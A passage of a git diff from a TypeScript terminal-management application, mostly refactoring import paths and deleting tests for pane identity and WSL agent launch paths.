const watched = watchIdentityFixture(f, true) - try { - expect(watched.pane(PANE)).toBeNull() - const placing = f.runtime.placeUnshownLiveTerminals() - await Promise.race([ - entered.promise, - placing.then(() => { - throw new Error('Placement finished before apply') - }) - ]) - const old = f.owner.ptysById.get('pty-restored')! - const command = held.mock.calls[0]![0] - if (command.type !== 'createTerminalTab') { - throw new Error('Expected production restore create command') - } - const pane = `${command.tabId}:${command.leafId}` - expect(watched.pane(pane)).toBeNull() - const captures = watched.acquisition.mock.calls.length - // A same-ID successor replaces the record while placement is still waiting on apply. - f.owner.source.removePty('pty-restored') - const current = f.owner.recordPtyWorktree('pty-restored', TEST_WORKTREE_ID, { - incarnationId: 'successor' - }) - expect(watched.pane(pane)).toBeNull() - release.resolve() - await expect(placing).resolves.toEqual({ placed: ['pty-restored'], declined: [] }) - expect(watched.pane(pane)).toBe(current) - expect(watched.acquisition.mock.calls.length).toBeGreaterThan(captures) - expect(old.paneKey).toBeNull() - const context = watched.context() - expect(f.runtime.getTerminalHandleForPaneKey(pane, context)).toBe('term_restored') - expect(f.owner.handles.get('term_restored')?.issuedForPaneKey).toBeUndefined() - expect(f.owner.handleByPtyId.get('pty-restored')).toBe('term_restored') - } finally { - release.resolve() - watched.close() - } -}) - -it('keeps current pane selection ordered across rebinds and detached same-ID writes', () => { - const f = identityFixture() - const suffix = PANE.slice(PANE.indexOf(':')) - const otherPane = `tab-other${suffix}` - f.add('pty-first', 'term_first', otherPane, false) - f.add('pty-second', 'term_second', PANE, true) - const first = f.owner.ptysById.get('pty-first')! - const second = f.owner.ptysById.get('pty-second')! - expect(f.owner.getPtyRecordForPaneKey(PANE)).toBe(second) - f.owner.setPtyConnected(first, true) - expect(f.owner.getPtyRecordForPaneKey(PANE)).toBe(first) - f.owner.setPtyConnected(first, false) - f.owner.setPtyConnected(second, false) - expect(f.owner.getPtyRecordForPaneKey(PANE)).toBe(second) - - const movedPane = 'tab-moved:bbbbbbbb-bbbb-4bbb-8bbb-bbbbbbbbbbbb' - f.owner.source.setRecordedSurface(second, 'tab-moved', movedPane, 1) - expect(f.owner.getPtyRecordForPaneKey(movedPane)).toBe(second) - expect(f.owner.getPtyRecordForPaneKey(PANE)).toBe(first) - const replacement = f.owner.source.createPty({ ...second, paneKey: PANE }) - f.owner.source.setRecordedSurface(second, 'tab-detached', movedPane, 2) - expect(f.owner.getPtyRecordForPaneKey(movedPane)).toBeNull() - expect(f.owner.getPtyRecordForPaneKey(PANE)).toBe(replacement) - f.owner.source.removePty('pty-second') - expect(f.owner.getPtyRecordForPaneKey(PANE)).toBe(first) -}) diff --git a/src/main/runtime/terminal/launch/agent-launch-scope-runtime.ts b/src/main/runtime/terminal/launch/agent-launch-scope-runtime.ts index 7e980973609..86ef4866c88 100644 --- a/src/main/runtime/terminal/launch/agent-launch-scope-runtime.ts +++ b/src/main/runtime/terminal/launch/agent-launch-scope-runtime.ts @@ -7,8 +7,8 @@ import { import type { AgentStartupShell } from '../../../../shared/agent-launch/startup/tui-agent-startup-shell' import type { TuiAgent } from '../../../../shared/agent-launch/catalog/tui-agent' import type { Repo } from '../../../../shared/repository/repo-types' -import type { GlobalSettings } from '../../../../shared/global-settings-types' -import { getRepoSshConnectionId } from '../../../../shared/execution-host' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' +import { getRepoSshConnectionId } from '../../../../shared/execution-host/execution-host' import { isFolderRepo } from '../../../../shared/repository/repo-kind' import { isWslUncPath } from '../../../../shared/file-access/wsl-paths' import { getWorktreePathSettings } from '../../../ipc/worktree-logic' diff --git a/src/main/runtime/terminal/launch/main-owned-tab-layout.ts b/src/main/runtime/terminal/launch/main-owned-tab-layout.ts index ccb4b2b7f1d..7304b92b8a3 100644 --- a/src/main/runtime/terminal/launch/main-owned-tab-layout.ts +++ b/src/main/runtime/terminal/launch/main-owned-tab-layout.ts @@ -1,5 +1,8 @@ // Main starts only tabs its layout owns; paired-server tabs keep the window path. -import { parseExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' /** The tab's first holding partition is one main owns, not a paired server's. */ export function mainOwnsTabLayout(hostIds: readonly ExecutionHostId[]): boolean { diff --git a/src/main/runtime/terminal/launch/mobile-terminal-chat-fork-create.ts b/src/main/runtime/terminal/launch/mobile-terminal-chat-fork-create.ts index bedb7d59f3d..e44f101cc11 100644 --- a/src/main/runtime/terminal/launch/mobile-terminal-chat-fork-create.ts +++ b/src/main/runtime/terminal/launch/mobile-terminal-chat-fork-create.ts @@ -17,7 +17,7 @@ import { deterministicAgentSessionUuid } from './runtime-agent-launch-resolution import { rendererPublicationThrottle } from '../../../window/visibility/renderer-publication-throttle' import { PROJECT_RUNTIME_REPAIR_REQUIRED_CODE } from '../../../../shared/execution-host/project-runtime-repair-message' import { OrchestrationError } from '../../orchestration/orchestration-error' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' import { loadWorkspaceLayoutWithoutReport } from '../../../../shared/workspace-layout/persistence/workspace-layout-load' import { nameBasedLoadContext } from '../../../../shared/workspace-layout/persistence/workspace-layout-minted-ids' diff --git a/src/main/runtime/terminal/launch/runtime-agent-launch-resolution.ts b/src/main/runtime/terminal/launch/runtime-agent-launch-resolution.ts index 5862bc63190..892e5e371f8 100644 --- a/src/main/runtime/terminal/launch/runtime-agent-launch-resolution.ts +++ b/src/main/runtime/terminal/launch/runtime-agent-launch-resolution.ts @@ -1,4 +1,4 @@ -import { getRepoRoutingConnectionId } from '../../../../shared/execution-host' +import { getRepoRoutingConnectionId } from '../../../../shared/execution-host/execution-host' import { createHash } from 'node:crypto' import type { Repo } from '../../../../shared/repository/repo-types' import type { TuiAgent } from '../../../../shared/agent-launch/catalog/tui-agent' diff --git a/src/main/runtime/terminal/launch/runtime-created-worktree-terminal-target.ts b/src/main/runtime/terminal/launch/runtime-created-worktree-terminal-target.ts index 9d44a3cb9a2..a525ad66289 100644 --- a/src/main/runtime/terminal/launch/runtime-created-worktree-terminal-target.ts +++ b/src/main/runtime/terminal/launch/runtime-created-worktree-terminal-target.ts @@ -8,7 +8,10 @@ import { isWorktreeMetaOwnedByRepo } from '../../../workspaces/catalog/worktree- import { isFolderRepo } from '../../../../shared/repository/repo-kind' import type { WorktreeMeta } from '../../../../shared/worktree/meta-types' import type { Repo } from '../../../../shared/repository/repo-types' -import { getRepoExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import { mergeWorktree } from '../../../ipc/worktree-metadata-merge' import { projectResolvedWorktreeLineage } from '../../../../shared/worktree/lineage/resolved-worktree-lineage' diff --git a/src/main/runtime/terminal/launch/runtime-pane-admission.ts b/src/main/runtime/terminal/launch/runtime-pane-admission.ts index 9f9cc3d102a..17dbfb90592 100644 --- a/src/main/runtime/terminal/launch/runtime-pane-admission.ts +++ b/src/main/runtime/terminal/launch/runtime-pane-admission.ts @@ -4,7 +4,7 @@ import { LOCAL_EXECUTION_HOST_ID, normalizeExecutionHostId, toSshExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { collectLeafIds } from '../../../../shared/workspace-layout/terminal-topology/terminal-pane-layout-tree' import type { TerminalPaneAdmission, diff --git a/src/main/runtime/terminal/launch/runtime-terminal-spawn-push-target-materialization.ts b/src/main/runtime/terminal/launch/runtime-terminal-spawn-push-target-materialization.ts index 49d2c69d0c9..fd440dd515f 100644 --- a/src/main/runtime/terminal/launch/runtime-terminal-spawn-push-target-materialization.ts +++ b/src/main/runtime/terminal/launch/runtime-terminal-spawn-push-target-materialization.ts @@ -6,7 +6,7 @@ import { getRepoExecutionHostId, getRepoRoutingConnectionId, LOCAL_EXECUTION_HOST_ID -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { hostWorktreeTarget } from '../../../../shared/worktree/host-qualified-identity' import type { WorktreePushTargetStore } from '../../../git/remotes/worktree-push-target-cleanup' import type { ProjectRuntimeResolutionStore } from '../../../workspaces/execution-host/local-project-runtime-resolution' diff --git a/src/main/runtime/terminal/launch/terminal-create-deduplication.ts b/src/main/runtime/terminal/launch/terminal-create-deduplication.ts index 1a473a703bb..bc0c0c6f09f 100644 --- a/src/main/runtime/terminal/launch/terminal-create-deduplication.ts +++ b/src/main/runtime/terminal/launch/terminal-create-deduplication.ts @@ -21,7 +21,7 @@ import { LOCAL_EXECUTION_HOST_ID, toSshExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { resolveWorktreeLaunchHost } from '../../workspaces/catalog/worktree-launch-host-repo' import type { TuiAgent } from '../../../../shared/agent-launch/catalog/tui-agent' import type { TerminalWorkspaceLaunchScope } from '../../orchestration/terminal-authority/structured-sessions/runtime-legacy-worker-terminal-recovery-types' diff --git a/src/main/runtime/terminal/launch/terminal-workspace-scope.ts b/src/main/runtime/terminal/launch/terminal-workspace-scope.ts index c7df217bdf9..710563b995c 100644 --- a/src/main/runtime/terminal/launch/terminal-workspace-scope.ts +++ b/src/main/runtime/terminal/launch/terminal-workspace-scope.ts @@ -12,7 +12,7 @@ import { getConnectionExecutionHostId, getWorktreeExecutionHostId, parseExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { resolveRuntimeBrowserNetworkExecutionHost } from '../../browser/network/runtime-browser-network-execution-host' import { resolveLocalProjectRuntimeForWorktreeId } from '../../../workspaces/execution-host/local-project-runtime-resolution' import { getRegisteredSshState } from '../../../ssh/targets/ssh-target-registry' @@ -32,7 +32,7 @@ import type { TerminalWorkspaceLaunchScope } from '../../orchestration/terminal- import { resolveTerminalStartupCwd } from '../../../../shared/shell/launch/terminal-startup-cwd' import type { ResolvedTerminalWorkspaceLaunchTarget } from './terminal-workspace-launch-target' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/workspace/identity/floating-workspace-id' import { homedir } from 'node:os' import { getExplicitWorktreeIdSelector } from '../../workspaces/catalog/runtime-worktree-selection' import { getRepoIdFromWorktreeId, worktreeIdsEqual } from '../../../../shared/worktree/id' diff --git a/src/main/runtime/terminal/launch/wsl-host-agent-launch-paths.test.ts b/src/main/runtime/terminal/launch/wsl-host-agent-launch-paths.test.ts deleted file mode 100644 index 5a52b1eed7f..00000000000 --- a/src/main/runtime/terminal/launch/wsl-host-agent-launch-paths.test.ts +++ /dev/null @@ -1,117 +0,0 @@ -import { chmodSync, mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { _setGuestWindowsDriveMountsForTests } from '../../../ipc/wsl-guest-windows-drive-path' -import { OrcaRuntimeService } from '../../orca-runtime' -import './mobile-terminal-chat-fork' -import type { TerminalWorkspaceLaunchScope } from '../../orchestration/terminal-authority/structured-sessions/runtime-legacy-worker-terminal-recovery-types' -import type { MobileTerminalCommand } from './mobile-terminal-startup' -import type { SleepingAgentLaunchConfig } from '../../../../shared/agent-session/lifecycle/agent-session-resume' -import '../../../../shared/execution-host' - -let root: string -let windowsBin: string -let nativeBin: string -const originalPlatform = process.platform - -function fakeExecutable(dir: string, name: string): string { - mkdirSync(dir, { recursive: true }) - const file = join(dir, name) - writeFileSync(file, '#!/bin/sh\n') - chmodSync(file, 0o755) - return file -} - -function makeRuntime(agentCmdOverrides: Record = {}) { - const runtime = new OrcaRuntimeService( - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: these launch paths read only getSettings for a workspace with no repo or folder. - { - getSettings: () => ({ - disabledTuiAgents: [], - agentCmdOverrides, - agentDefaultArgs: {}, - agentDefaultEnv: {} - }) - } as never, - undefined, - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: ensureAgentSession reads only the claim probe from the local provider. - { getLocalProvider: () => ({ supportsAgentSessionClaims: async () => true }) as never } - ) - const workspace: TerminalWorkspaceLaunchScope = { - id: 'worktree-1', - path: root, - connectionId: null, - repo: null, - folderWorkspace: null - } - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: exposes the protected launch builders under test; signatures match mobile-terminal-startup.ts. - const internal = runtime as unknown as { - resolveTerminalWorkspaceLaunchScope: () => Promise - resolveMobileSessionTerminalCommand: ( - workspace: TerminalWorkspaceLaunchScope, - opts: { agent: 'claude' } - ) => Promise - resolveMobileSessionResumeCommand: ( - workspace: TerminalWorkspaceLaunchScope, - record: { - agent: 'claude' - providerSession: { key: 'session_id'; id: string } - launchConfig?: SleepingAgentLaunchConfig - } - ) => { command: string } | null - getWorkspaceSessionForWorktree: (worktreeId: string) => unknown - isProviderSessionLiveInAnotherPane: () => Promise - resolvePaneOwnedResumeStartup: ( - worktreeId: string, - tab: { parentTabId: string; leafId: string } - ) => Promise - } - internal.resolveTerminalWorkspaceLaunchScope = async () => workspace - return { runtime, internal, workspace } -} - -const session = { key: 'session_id', id: 'provider-session-1' } as const - -beforeEach(() => { - root = mkdtempSync(join(tmpdir(), 'wsl-host-agent-paths-')) - const windowsMount = join(root, 'mnt', 'c') - windowsBin = join(windowsMount, 'Users', 'u', 'AppData', 'Roaming', 'npm') - nativeBin = join(root, 'usr', 'local', 'bin') - Object.defineProperty(process, 'platform', { configurable: true, value: 'linux' }) - vi.stubEnv('ORCA_WSL_ORCAD_HOST', '1') - vi.stubEnv('WSL_DISTRO_NAME', 'Ubuntu') - // Keep the version-manager search inside the sandbox. - vi.stubEnv('HOME', join(root, 'home')) - vi.stubEnv('PATH', `${windowsBin}:${nativeBin}`) - _setGuestWindowsDriveMountsForTests([windowsMount]) -}) - -afterEach(() => { - _setGuestWindowsDriveMountsForTests(null) - vi.unstubAllEnvs() - Object.defineProperty(process, 'platform', { configurable: true, value: originalPlatform }) - rmSync(root, { recursive: true, force: true }) -}) - -// POSIX paths and exec bits stand in for a distro; Windows runners can't model them. -describe.skipIf(originalPlatform === 'win32')('WSL-host agent launch paths', () => { - describe('host-built agent session resume', () => { - const request = { - kind: 'explicit', - worktree: 'id:worktree-1', - agent: 'claude', - providerSession: session - } as const - - it('refuses a Windows-only agent', async () => { - fakeExecutable(windowsBin, 'claude') - const { runtime } = makeRuntime() - const createTerminal = vi.spyOn(runtime, 'createTerminal') - await expect(runtime.ensureAgentSession(request, {})).rejects.toThrow( - 'claude is installed only on Windows' - ) - expect(createTerminal).not.toHaveBeenCalled() - }) - }) -}) diff --git a/src/main/runtime/terminal/layout/agent-generated-tab-titles-runtime.ts b/src/main/runtime/terminal/layout/agent-generated-tab-titles-runtime.ts index e63c51a252e..e0f71e7a854 100644 --- a/src/main/runtime/terminal/layout/agent-generated-tab-titles-runtime.ts +++ b/src/main/runtime/terminal/layout/agent-generated-tab-titles-runtime.ts @@ -1,7 +1,7 @@ import { OrcaRuntimeWithWorktreeSleepResumeRecording } from '../stop/worktree-sleep-resume-recording' import { AgentGeneratedTabTitles, type GeneratedTitleTarget } from './agent-generated-tab-titles' import type { AgentStatusIpcPayload } from '../../../../shared/agent-status/contracts/agent-status-ipc-payload' -import { parseExecutionHostId } from '../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../shared/execution-host/execution-host' import { parseLegacyNumericPaneKey, parsePaneKey diff --git a/src/main/runtime/terminal/layout/editor-view-layout-apply.test.ts b/src/main/runtime/terminal/layout/editor-view-layout-apply.test.ts index b950f4cafa1..c8a740bb4aa 100644 --- a/src/main/runtime/terminal/layout/editor-view-layout-apply.test.ts +++ b/src/main/runtime/terminal/layout/editor-view-layout-apply.test.ts @@ -4,7 +4,7 @@ import { mkdtempSync, rmSync } from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, describe, expect, it, vi } from 'vitest' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' import type { LayoutEditorView } from '../../../../shared/workspace-layout/editor-tabs/layout-editor-view' import type { Store } from '../../../persistence/loading-store/store' import { WindowSession } from '../../../persistence/terminal-topology/testing/terminal-topology-window-session-fixture' diff --git a/src/main/runtime/terminal/layout/editor-view-partition-changes.test.ts b/src/main/runtime/terminal/layout/editor-view-partition-changes.test.ts index a79ceb3c2d0..61bef235d6b 100644 --- a/src/main/runtime/terminal/layout/editor-view-partition-changes.test.ts +++ b/src/main/runtime/terminal/layout/editor-view-partition-changes.test.ts @@ -4,7 +4,7 @@ import { mkdtempSync, rmSync } from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, describe, expect, it, vi } from 'vitest' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' import type { LayoutEditorView } from '../../../../shared/workspace-layout/editor-tabs/layout-editor-view' import type { Store } from '../../../persistence/loading-store/store' diff --git a/src/main/runtime/terminal/layout/main-owned-workspace-runtime-fixture.ts b/src/main/runtime/terminal/layout/main-owned-workspace-runtime-fixture.ts index a5469db1b36..3a9ece97b66 100644 --- a/src/main/runtime/terminal/layout/main-owned-workspace-runtime-fixture.ts +++ b/src/main/runtime/terminal/layout/main-owned-workspace-runtime-fixture.ts @@ -1,5 +1,5 @@ // Windowless main-owned layout fixture: apply in memory and notify writes so terminal listings refresh. -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' import type { TerminalPaneLayoutNode } from '../../../../shared/workspace-layout/terminal-tab-types' import type { LayoutCommand } from '../../../../shared/workspace-layout/workspace-layout-command-types' diff --git a/src/main/runtime/terminal/layout/profile-session-store.test-fixture.ts b/src/main/runtime/terminal/layout/profile-session-store.test-fixture.ts index f466d3bbe42..392714ee4c1 100644 --- a/src/main/runtime/terminal/layout/profile-session-store.test-fixture.ts +++ b/src/main/runtime/terminal/layout/profile-session-store.test-fixture.ts @@ -1,6 +1,6 @@ // Model profile sessions by host, including routed layout commands and write notifications. import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' import type { LayoutCommand } from '../../../../shared/workspace-layout/workspace-layout-command-types' import { resolveHostId } from '../../../persistence/loading-store/workspace-sessions/session-host-partitions' import { applyCommandToSession } from '../../../persistence/terminal-topology/pane-admission/terminal-pane-admission' diff --git a/src/main/runtime/terminal/layout/runtime-layout-apply.ts b/src/main/runtime/terminal/layout/runtime-layout-apply.ts index ee45084e55c..11baf684db5 100644 --- a/src/main/runtime/terminal/layout/runtime-layout-apply.ts +++ b/src/main/runtime/terminal/layout/runtime-layout-apply.ts @@ -1,4 +1,7 @@ -import { parseExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import type { CommandOf, LayoutApplyReply, diff --git a/src/main/runtime/terminal/layout/terminal-resize-listeners.ts b/src/main/runtime/terminal/layout/terminal-resize-listeners.ts index 671426e1add..1a47fdb2e3a 100644 --- a/src/main/runtime/terminal/layout/terminal-resize-listeners.ts +++ b/src/main/runtime/terminal/layout/terminal-resize-listeners.ts @@ -26,7 +26,10 @@ import { reportWorkerTurnStop, type WorkerTurnStop } from '../../orchestration/workers/turn-stops/worker-turn-stop-report' -import { LOCAL_EXECUTION_HOST_ID, toSshExecutionHostId } from '../../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + toSshExecutionHostId +} from '../../../../shared/execution-host/execution-host' import type { OrchestrationDb } from '../../orchestration/db/orchestration-db' export abstract class OrcaRuntimeWithSubscribeToTerminalResize extends OrcaRuntimeWithApplyMobileDisplayMode { diff --git a/src/main/runtime/terminal/lifecycle/bind-first-registration.ts b/src/main/runtime/terminal/lifecycle/bind-first-registration.ts index ab0f5d9df4f..8c397043d30 100644 --- a/src/main/runtime/terminal/lifecycle/bind-first-registration.ts +++ b/src/main/runtime/terminal/lifecycle/bind-first-registration.ts @@ -1,6 +1,9 @@ // Bind panes before registration so main can resolve them immediately; unbound registration throws in tests/dev and ships without a pane. -import { parseExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' export function assertPaneBoundAtRegistration( ptyId: string, diff --git a/src/main/runtime/terminal/lifecycle/closed-pane-of-exited-pty.ts b/src/main/runtime/terminal/lifecycle/closed-pane-of-exited-pty.ts index 30563db23d7..c1bc9898e14 100644 --- a/src/main/runtime/terminal/lifecycle/closed-pane-of-exited-pty.ts +++ b/src/main/runtime/terminal/lifecycle/closed-pane-of-exited-pty.ts @@ -2,7 +2,7 @@ import { closedTerminalPaneOf } from '../../../../shared/workspace-layout/terminal-surfaces/closed-terminal-panes' import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../shared/workspace-layout/layout-owner-switch' import type { RuntimeStore } from '../../construction/runtime-store-contract' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' import { worktreeIdsEqual } from '../../../../shared/worktree/id' diff --git a/src/main/runtime/terminal/lifecycle/exited-split-pane-layout-close.test.ts b/src/main/runtime/terminal/lifecycle/exited-split-pane-layout-close.test.ts index fcfcbe3b536..03bd4e9b026 100644 --- a/src/main/runtime/terminal/lifecycle/exited-split-pane-layout-close.test.ts +++ b/src/main/runtime/terminal/lifecycle/exited-split-pane-layout-close.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from 'vitest' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' import { keepsExitedPane } from './exited-split-pane-layout-close' diff --git a/src/main/runtime/terminal/lifecycle/floating-session-liveness.ts b/src/main/runtime/terminal/lifecycle/floating-session-liveness.ts index 7a67621d4f6..b70dea030f0 100644 --- a/src/main/runtime/terminal/lifecycle/floating-session-liveness.ts +++ b/src/main/runtime/terminal/lifecycle/floating-session-liveness.ts @@ -1,5 +1,5 @@ import { OrcaRuntimeWithRefreshPtyWorktreeRecordsWithControllerInventory } from './pty-controller-inventory-refresh' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/workspace/identity/floating-workspace-id' import { indexFloatingSnapshotPtyBindings } from './floating-snapshot-pty-bindings' import type { RuntimeLeafRecord, diff --git a/src/main/runtime/terminal/lifecycle/orca-runtime-exited-split-pane-close.test.ts b/src/main/runtime/terminal/lifecycle/orca-runtime-exited-split-pane-close.test.ts index c8b395ae80b..3d7323ab348 100644 --- a/src/main/runtime/terminal/lifecycle/orca-runtime-exited-split-pane-close.test.ts +++ b/src/main/runtime/terminal/lifecycle/orca-runtime-exited-split-pane-close.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it, vi } from 'vitest' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' import '../../../../shared/workspace-layout/terminal-topology/terminal-pane-layout-tree' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' import type { RuntimeMobileSessionTabsSnapshot } from '../../../../shared/remote-runtime/session-graph/runtime-session-contracts' diff --git a/src/main/runtime/terminal/lifecycle/pty-controller-inventory-listing.ts b/src/main/runtime/terminal/lifecycle/pty-controller-inventory-listing.ts index ae5eb1ee790..5862bd30f66 100644 --- a/src/main/runtime/terminal/lifecycle/pty-controller-inventory-listing.ts +++ b/src/main/runtime/terminal/lifecycle/pty-controller-inventory-listing.ts @@ -4,7 +4,7 @@ import type { PtyProcessInfo } from '../../../providers/pty/process-info' import { type ExecutionHostId, getConnectionExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { PTY_CONTROLLER_LIST_PROVIDER_MARGIN_MS, PTY_CONTROLLER_LIST_TIMEOUT_MS diff --git a/src/main/runtime/terminal/lifecycle/pty-controller-inventory-refresh.ts b/src/main/runtime/terminal/lifecycle/pty-controller-inventory-refresh.ts index 266e044810f..ba884e89acb 100644 --- a/src/main/runtime/terminal/lifecycle/pty-controller-inventory-refresh.ts +++ b/src/main/runtime/terminal/lifecycle/pty-controller-inventory-refresh.ts @@ -1,13 +1,13 @@ import { OrcaRuntimeWithPtyControllerInventoryListing } from './pty-controller-inventory-listing' import type * as PtyControllerContract from './runtime-pty-controller-contract' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/workspace/identity/floating-workspace-id' import { type ExecutionHostId, getConnectionExecutionHostId, LOCAL_EXECUTION_HOST_ID, parseExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { getPtyExecutionHost } from '../../../../shared/terminal/pty/lifecycle/terminal-execution-host' import { type ResolvedWorktree, diff --git a/src/main/runtime/terminal/lifecycle/pty-handle-invalidation.ts b/src/main/runtime/terminal/lifecycle/pty-handle-invalidation.ts index bff057905d5..04e525958a7 100644 --- a/src/main/runtime/terminal/lifecycle/pty-handle-invalidation.ts +++ b/src/main/runtime/terminal/lifecycle/pty-handle-invalidation.ts @@ -4,7 +4,7 @@ import { getPtyExecutionHost } from '../../../../shared/terminal/pty/lifecycle/t import { getConnectionExecutionHostId, parseExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import type { RuntimePtyWorktreeRecord } from '../records/runtime-terminal-state-records' export abstract class OrcaRuntimeWithInvalidateAllHandlesForPty extends OrcaRuntimeWithResolveKnownWorkspaceFileTarget { diff --git a/src/main/runtime/terminal/lifecycle/run-terminal-client-use.ts b/src/main/runtime/terminal/lifecycle/run-terminal-client-use.ts index 21bd8d29edd..b4ff944b839 100644 --- a/src/main/runtime/terminal/lifecycle/run-terminal-client-use.ts +++ b/src/main/runtime/terminal/lifecycle/run-terminal-client-use.ts @@ -4,7 +4,7 @@ import { confirmRootShellAloneFromProcessTable, inspectionShowsShellAlone } from './run-terminal-shell-alone' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' import type { RuntimeMobileSessionTabsSnapshot } from '../../../../shared/remote-runtime/session-graph/runtime-session-contracts' /** For finished-run cleanup, adopted PTYs have unknown client-use history because this process did not spawn them. */ diff --git a/src/main/runtime/terminal/lifecycle/runtime-pty-controller-contract.ts b/src/main/runtime/terminal/lifecycle/runtime-pty-controller-contract.ts index 0d33b7a4955..e07f22c3a0c 100644 --- a/src/main/runtime/terminal/lifecycle/runtime-pty-controller-contract.ts +++ b/src/main/runtime/terminal/lifecycle/runtime-pty-controller-contract.ts @@ -24,7 +24,7 @@ import type { WorktreeStartupLaunch } from '../../../../shared/worktree/creation import type { PtyIncarnationId } from '../../../../shared/terminal/pty/lifecycle/pty-incarnation' import type { PtyBindingSourceExpectation } from '../../../persistence/loading-store/store' import type { TerminalPanePlacement } from '../../../../shared/workspace-layout/terminal-topology/terminal-pane-placement' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { PtyProviderBufferSnapshot } from '../../../providers/pty/provider-contract' import type { PtyProcessInfo } from '../../../providers/pty/process-info' import type { PtySpawnResult } from '../../../providers/pty/spawn-result' diff --git a/src/main/runtime/terminal/output/terminal-model-query-authority.ts b/src/main/runtime/terminal/output/terminal-model-query-authority.ts index 347fe880d4a..f7d8c4a4d99 100644 --- a/src/main/runtime/terminal/output/terminal-model-query-authority.ts +++ b/src/main/runtime/terminal/output/terminal-model-query-authority.ts @@ -1,5 +1,5 @@ /** Main answers only queries in chunks hidden delivery dropped; capture ownership at ingestion. Record native Windows ConPTY at spawn to install DA1 override before bytes arrive. */ -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { isWslUncPath } from '../../../../shared/file-access/wsl-paths' import { isHiddenPtyDeliveryGateEnabled, diff --git a/src/main/runtime/terminal/output/terminal-restore-record-seed.test.ts b/src/main/runtime/terminal/output/terminal-restore-record-seed.test.ts index dbed8686c52..e923605d4bb 100644 --- a/src/main/runtime/terminal/output/terminal-restore-record-seed.test.ts +++ b/src/main/runtime/terminal/output/terminal-restore-record-seed.test.ts @@ -1,6 +1,6 @@ import { describe, expect, it, vi } from 'vitest' import { OrcaRuntimeService } from '../../orca-runtime' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' import '../../../../shared/workspace-layout/stable-pane-id' import '../../../../shared/workspace-layout/layout-owner-switch' diff --git a/src/main/runtime/terminal/query/pty-inventory-liveness-verdict.spec.ts b/src/main/runtime/terminal/query/pty-inventory-liveness-verdict.spec.ts index bd2a502dd0a..706afe57666 100644 --- a/src/main/runtime/terminal/query/pty-inventory-liveness-verdict.spec.ts +++ 